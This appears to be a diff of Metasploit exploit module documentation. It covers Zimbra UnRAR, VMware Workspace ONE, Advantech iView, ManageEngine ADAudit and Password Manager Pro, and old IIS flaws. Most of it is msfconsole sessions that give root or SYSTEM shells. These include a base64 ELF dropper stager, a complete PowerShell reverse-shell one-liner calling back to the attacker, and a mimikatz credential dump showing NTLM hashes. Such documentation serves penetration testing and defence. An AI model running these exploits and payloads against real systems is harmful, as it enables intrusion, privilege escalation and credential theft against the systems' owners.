[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/abOFM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IBkCa' < '/tmp/abOFM.b64' ; chmod +x '/tmp/IBkCa' ; '/tmp/IBkCa' ; rm -f '/tmp/IBkCa' ; rm -f '/tmp/abOFM.b64'"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 192.168.0.23
[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.23:51870) at 2022-08-03 11:26:51 +0200
[*] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.0.23
OS : Ubuntu 18.04 (Linux 5.4.0-122-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,92 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
```
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
# reboot
```
And to verify:
```
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
```
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
## Verification Steps
To exploit Zimbra, first load the module and generate the .rar file:
```
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[...] waiting [...]
```
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
```
[...]
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
meterpreter > getuid
Server username: zimbra
```
## Options
### `FILENAME`
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
### `TARGET_PATH`
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
### `TARGET_FILENAME`
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
### `TRIGGER_PAYLOAD`
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
### `ListenerTimeout`
The number of seconds to wait for a new session (default = `0`, or infinite).
### `CheckInterval`
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
@@ -0,0 +1,117 @@
## Vulnerable Application
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of
the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control
is permitted via the sudo configuration without a password.
### Setup
To exploit this vulnerability in conjunction with CVE-2022-22954, follow [Installing and Configuring VMware Workspace
ONE Access] or simply import the OVA into a **VMware hypervisor**. The target should be vulnerable to both
vulnerabilities out of the box.
The HW-150533, HW-154129, and HW-156875 patches may be optionally applied. In this case, a session will need to be
opened by some means to the appliance as the `horizon` user in order to be exploitable. This is most easily accomplished
by [resetting the root password], logging in locally, and then configuring SSH. Patches can be obtained from [VMware's
Website]. Steps to reset the `root` password are available [here].
[Installing and Configuring VMware Workspace ONE Access]: https://docs.vmware.com/en/VMware-Workspace-ONE-Access/21.08/workspace_one_access_install/GUID-0FABD001-050B-4A54-B100-2FA4E8F55613.html
[VMware's Website]: https://customerconnect.vmware.com/en/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1192&rPId=79985
[resetting the root password]: https://kb.vmware.com/s/article/76530
## Verification Steps
1. Setup a vulnerable VMware instance (see the steps above).
2. Start msfconsole.
3. Obtain a session on the vulnerable instance.
* It is recommend to use either `exploit/linux/http/vmware_workspace_one_access_cve_2022_22954` if the target is
vulnerable to it or, alternatively, `exploit/multi/ssh/sshexec`.
4. Do: `set SESSION -1`
5. Optionally set the PAYLOAD and related options.
6. Do: `run`
7. If the target is vulnerable, the payload should be executed.
## Options
## Scenarios
### VMware Workspace ONE Access 21.08.0.1
In the following scenario, initial access is gained by first exploiting CVE-2022-22954. Once the session is opened, it
is elevated to root by exploiting CVE-2022-31660.
```
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.98 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
@@ -0,0 +1,71 @@
## Vulnerable Application
Versions of Advantech iView software below `5.7.04.6469` are vulnerable to
an unauthenticated command injection vulnerability via the `NetworkServlet` endpoint.
The database backup functionality passes a user-controlled parameter, `backup_file`
to the `mysqldump` command. The sanitization functionality only tests for SQL injection
attempts and directory traversal, so leveraging the `-r` and `-w` `mysqldump` flags
permits exploitation. The command injection vulnerability is used to write a
payload on the target and achieve remote code execution as NT AUTHORITY\SYSTEM.
A vulnerable version can be installed from [here](https://downloadt.advantech.com/download/downloadsr.aspx?File_Id=1-26RVVS9).
Other versions of the software can be found [here](https://www.advantech.tw/support/details/firmware?id=1-HIPU-183).
### Installation Instructions
Distributed with the installer is a PDF containing detailed installation instructions
for the software. Once the installation has finished, you may have issues getting the
Tomcat service to start. If that's the case, follow the steps below (pulled from advantech_iview_unauth_rce.md):
1. Copy the msvcr100.dll file from C:\Program Files (x86)\Java\jre7\bin to C:\Program Files (x86)\iView\Apache Software Foundation\Tomcat6.0\bin.
2. Restart the "Apache Tomcat 6" service. 1 At this point, the application should be listening on port 8080 and no additional configuration is necessary.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/advantech_iview_networkservlet_cmd_inject`
4. Do: `set RHOST <ip>`
5. Do: `run`
6. You should get a meterpreter session.
## Options
## Scenarios
### Advantech iView Webserver `v5.7.04.6425` on Windows 10 21H2 x64
```
msf6 > use exploit/windows/http/advantech_iview_networkservlet_cmd_inject
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set rhost 192.168.140.197
rhost => 192.168.140.197
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set lhost 192.168.140.1
lhost => 192.168.140.1
msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Using URL: http://192.168.140.1:8080/QVp4zocvVZ9f
[*] Client 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237) requested /QVp4zocvVZ9f
[*] Sending payload to 192.168.140.197 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237)
[*] Sending stage (200774 bytes) to 192.168.140.197
[*] Command Stager progress - 100.00% done (125/125 bytes)
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.197:50152) at 2022-07-21 16:48:57 -0500
[*] Server stopped.
[!] This exploit may require manual cleanup of 'webapps\iView3\vQbGQrFe.jsp' on the target
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-04M9HG7
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
@@ -0,0 +1,70 @@
## Vulnerable Application
The vulnerable application is ManageEngine ADAudit Plus prior to build 7060. I built and tested this on build 7055, which, at least at the time of this writing, you can download [here](https://archives2.manageengine.com/active-directory-audit/). It's a .exe file that you can install with all the defaults.
You also need to configure ADAudit to actually audit a domain. That means setting up a domain (I created a domain controller in the lab), and configuring ADAudit to scan that domain. That domain name must be set to the `DOMAIN` when using this exploit.
The last thing is, three connect-back ports must be open from the target back to Metasploit (in addition to whatever payload ports). By default, we use ports 8080 and 8888 for HTTP, and 2121 for FTP.
## Verification Steps
1. Install the application
2. Do: `set RHOSTS <IP>`
3. Do: `set DOMAIN <DOMAIN_NAME>`
4. Do: `exploit`
5. You should get a meterpreter session
## Scenarios
```
msf6 > use exploit/windows/http/manageengine_adaudit_plus_cve_2022_28219
[*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set RHOSTS 10.0.0.148
RHOSTS => 10.0.0.148
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > set DOMAIN ad.example.local
DOMAIN => ad.example.local
msf6 exploit(windows/http/manageengine_adaudit_plus_cve_2022_28219) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. The vulnerable endpoint responds with HTTP/200.
[*] Attempting to exploit XXE to get a list of users
[*] Using URL: http://10.0.0.146:8080/KEmvnPFxS.dtd
[*] User accounts discovered: Ron
[*] Enumerating old payloads cached on the server (to skip later)
[*] Using URL: http://10.0.0.146:8080/NvkXTJXRyhV.dtd
[*] Attempting to exploit XXE to store our serialized payload on the server
[*] Trying to find our payload in all users' temp folders
[*] Using URL: http://10.0.0.146:8080/ppVHiihu.dtd
[*] Executing payload: /users/Ron/appdata/local/temp/jar_cache4413164256015023251.tmp...
[*] Sending stage (175686 bytes) to 10.0.0.148
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.148:52347) at 2022-07-07 15:19:59 -0700
meterpreter >
```
## Options
### TARGETURI_DESERIALIZATION / TARGETURI_XXE
The target URLs - probably won't ever need to be changed
### DOMAIN
A domain that the target monitors. We cannot validate this, but if the exploit should work and doesn't, this might be the issue.
### SRVPORT / SRVPORT_FTP / SRVPORT_HTTP2
The connect-back ports.
* `SRVPORT` is used to host XXE payloads
* `SRVPORT_HTTP2` is used for an XXE payload that is held open, creating a temporary file on the server
* `SRVPORT_FTP` is used for a fake off-spec FTP server that receives a directory listing also via XXE
# PATH_TRAVERSAL_DEPTH
The number of `../` to add to the request
# FtpCallbackTimeout / HttpUploadTimeout
How long to wait for FTP or HTTP responses before giving up
@@ -0,0 +1,185 @@
## Vulnerable Application
This module exploits a unauthenticated deserialization vulnerability in the XML RPC interface exposed by Zoho
ManageEngine Password Manager Pro before 12101 and PAM360 before 5510. Note that ManageEngine Access Manager Plus
before 4303 is also affected provided one provides credentials, however this is not targeted by this exploit.
Successful exploitation results in unauthenticated RCE as the `NT AUTHORITY\SYSTEM` user.
### Installation
Vulnerable software for testing can be downloaded [here](https://archives2.manageengine.com/passwordmanagerpro/12100/ManageEngine_PMP_64bit.exe).
The patch can be downloaded from [here](https://archives2.manageengine.com/passwordmanagerpro/12101/ManageEngine_PasswordManager_Pro_12100_to_12101.ppm)
When installing the software follow the defaults. You can skip the registration however or any parts where you need
to fill in additional details to continue (these should have a `Skip` button so you can skip them).
## Verification Steps
1. Follow the installation instructions above.
2. Start msfconsole
3. Do: `use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce`
4. Do: `set RHOSTS [IP]`
7. Do: `set payload [payload]`
8. Do: `set LHOST [IP]`
9. Optional: `set LPORT [local port to listen on]`
10. Do: `exploit`
## Options
## Targets
```
Id Name
-- ----
0 Windows EXE Dropper
1 Windows Command
2 Windows Powershell
```
## Scenarios
### ManageEngine Password Manager Pro 12100 Running on Windows 11
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce
[*] Using configured payload cmd/windows/reverse_powershell
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set RHOSTS 172.17.245.94
RHOSTS => 172.17.245.94
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LHOST 172.17.255.112
LHOST => 172.17.255.112
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > set LPORT 8899
LPORT => 8899
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > show options
Module options (exploit/windows/http/zoho_password_manager_pro_xml_rpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.17.245.94 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
ploit
RPORT 7272 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local
machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/windows/reverse_powershell):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.17.255.112 yes The listen address (an interface may be specified)
LPORT 8899 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows Command
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > exploit
[*] Started reverse TCP handler on 172.17.255.112:8899
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Target can deserialize arbitrary data.
[*] Executing Windows Command for cmd/windows/reverse_powershell
[+] Successfully executed command: powershell -w hidden -nop -c $a='172.17.255.112';$b=8899;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}
[*] Command shell session 1 opened (172.17.255.112:8899 -> 172.17.245.94:56612) at 2022-08-02 11:37:28 -0500
Shell Banner:
Microsoft Windows [Version 10.0.22000.795]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\ManageEngine\PMP\bin>
-----
C:\Program Files\ManageEngine\PMP\bin>whoami
whoami
nt authority\system
C:\Program Files\ManageEngine\PMP\bin>background
Background session 1? [y/N] y
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10.0.2 172.17.255.112:8899 -> 172.17.245.94:56612 (172.
2000.795] (c) Microsoft Corpo... 17.245.94)
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.17.255.112:4433
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) >
[*] Sending stage (200774 bytes) to 172.17.245.94
[*] Meterpreter session 2 opened (172.17.255.112:4433 -> 172.17.245.94:56631) at 2022-08-02 11:38:11 -0500
[*] Stopping exploit/multi/handler
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows Shell Banner: Microsoft Windows [Version 10. 172.17.255.112:8899 -> 172.17.245.94:56612 (1
0.22000.795] (c) Microsoft Corpo... 72.17.245.94)
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN11-TEST 172.17.255.112:4433 -> 172.17.245.94:56631 (1
72.17.245.94)
msf6 exploit(windows/http/zoho_password_manager_pro_xml_rpc_rce) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
admin WIN11-TEST 209c6174da490caeb422f3fa5a7ae634 7c87541fd3f3ef5016e12d411900c87a6046a8e8
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
WIN11-TEST$ WORKGROUP (null)
admin WIN11-TEST (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
admin WIN11-TEST (null)
win11-test$ WORKGROUP (null)
meterpreter >
```
@@ -0,0 +1,108 @@
## Vulnerable Application
This exploits a buffer overflow in the request processor of the
Internet Printing Protocol ISAPI module in IIS. This module
works against Windows 2000 Server and Professional SP0-SP1.
If the service stops responding after a successful compromise,
run the exploit a couple more times to completely kill the
hung process.
This module has been tested successfully on:
* Windows 2000 Professional SP0 (Dutch)
* Windows 2000 Professional SP0 (Finnish)
* Windows 2000 Professional SP0 (Greek)
* Windows 2000 Professional SP0 (Korean)
* Windows 2000 Professional SP0 (Turkish)
* Windows 2000 Professional SP1 (Arabic)
* Windows 2000 Professional SP1 (Czech)
* Windows 2000 Professional SP1 (English)
* Windows 2000 Professional SP1 (Greek)
* Windows 2000 Server SP0 (Chinese)
* Windows 2000 Server SP0 (Dutch)
* Windows 2000 Server SP0 (English)
* Windows 2000 Server SP0 (German)
* Windows 2000 Server SP0 (Hungarian)
* Windows 2000 Server SP0 (Italian)
* Windows 2000 Server SP0 (Portuguese)
* Windows 2000 Server SP0 (Spanish)
* Windows 2000 Server SP0 (Turkish)
* Windows 2000 Server SP1 (English)
* Windows 2000 Server SP1 (French)
* Windows 2000 Server SP1 (Swedish)
## Verification Steps
1. `use exploit/windows/iis/ms01_023_printer`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
## Scenarios
### Windows 2000 Professional SP1 (EN)
```
msf6 > use exploit/windows/iis/ms01_023_printer
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
rhosts => 192.168.200.195
msf6 exploit(windows/iis/ms01_023_printer) > check
[*] 192.168.200.195:80 - The target appears to be vulnerable.
msf6 exploit(windows/iis/ms01_023_printer) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 SP0-SP1 (Arabic)
1 Windows 2000 SP0-SP1 (Czech)
2 Windows 2000 SP0-SP1 (Chinese)
3 Windows 2000 SP0-SP1 (Dutch)
4 Windows 2000 SP0-SP1 (English)
5 Windows 2000 SP0-SP1 (French)
6 Windows 2000 SP0-SP1 (Finnish)
7 Windows 2000 SP0-SP1 (German)
8 Windows 2000 SP0-SP1 (Korean)
9 Windows 2000 SP0-SP1 (Hungarian)
10 Windows 2000 SP0-SP1 (Italian)
11 Windows 2000 SP0-SP1 (Portuguese)
12 Windows 2000 SP0-SP1 (Spanish)
13 Windows 2000 SP0-SP1 (Swedish)
14 Windows 2000 SP0-SP1 (Turkish)
15 Windows 2000 Pro SP0 (Greek)
16 Windows 2000 Pro SP1 (Greek)
msf6 exploit(windows/iis/ms01_023_printer) > set target 4
target => 4
msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms01_023_printer) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Using target: Windows 2000 SP0-SP1 (English) ...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.195
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
```
@@ -0,0 +1,90 @@
## Vulnerable Application
This module can be used to execute arbitrary code on IIS servers
that expose the /msadc/msadcs.dll Microsoft Data Access Components
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
exploitable even when RDS is configured to deny remote connections
(handsafe.reg). The service is vulnerable to a heap overflow where
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
This module has been tested successfully on:
* Windows 2000 Pro SP0-SP3 (English)
* Windows 2000 Pro SP0 (Korean)
* Windows 2000 Pro SP0 (Dutch)
* Windows 2000 Pro SP0 (Finnish)
* Windows 2000 Pro SP0 (Turkish)
* Windows 2000 Pro SP0-SP1 (Greek)
* Windows 2000 Pro SP1 (Arabic)
* Windows 2000 Pro SP1 (Czech)
* Windows 2000 Pro SP2 (French)
* Windows 2000 Pro SP2 (Portuguese)
## Verification Steps
1. `use exploit/windows/iis/ms02_065_msadc`
1. `set RHOSTS [IP]`
1. `show targets` to see the possible targets
1. `set TARGET [TARGET]`
1. `set PAYLOAD windows/shell/reverse_tcp`
1. `set LHOST [IP]`
1. `run`
## Options
### TARGETURI
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
## Scenarios
### Windows 2000 Professional SP3 (EN)
```
msf6 > use exploit/windows/iis/ms02_065_msadc
[*] Using configured payload windows/shell/reverse_tcp
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
rhosts => 192.168.200.186
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 2000 Pro SP0-SP3 (English)
1 Windows 2000 Pro SP0 (Korean)
2 Windows 2000 Pro SP0 (Dutch)
3 Windows 2000 Pro SP0 (Finnish)
4 Windows 2000 Pro SP0 (Turkish)
5 Windows 2000 Pro SP0-SP1 (Greek)
6 Windows 2000 Pro SP1 (Arabic)
7 Windows 2000 Pro SP1 (Czech)
8 Windows 2000 Pro SP2 (French)
9 Windows 2000 Pro SP2 (Portuguese)
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
target => 0
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
lhost => 192.168.200.130
msf6 exploit(windows/iis/ms02_065_msadc) > check
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
msf6 exploit(windows/iis/ms02_065_msadc) > run
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.200.186
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
Shell Banner:
Microsoft Windows 2000 [Version 5.00.2195]
-----
C:\WINNT\system32>ver
ver
Microsoft Windows 2000 [Version 5.00.2195]
```
@@ -0,0 +1,105 @@
## Vulnerable Application
This exploits a buffer overflow in NTDLL.dll on Windows 2000
through the SEARCH WebDAV method in IIS. This particular
module only works against Windows 2000. It should have a
reasonable chance of success against SP0 to SP3.
This module has been tested successfully on:
* Windows 2000 Professional SP0 (EN)
* Windows 2000 Professional SP0 (FI)
* Windows 2000 Professional SP0 (NL)
* Windows 2000 Professional SP0 (TR)
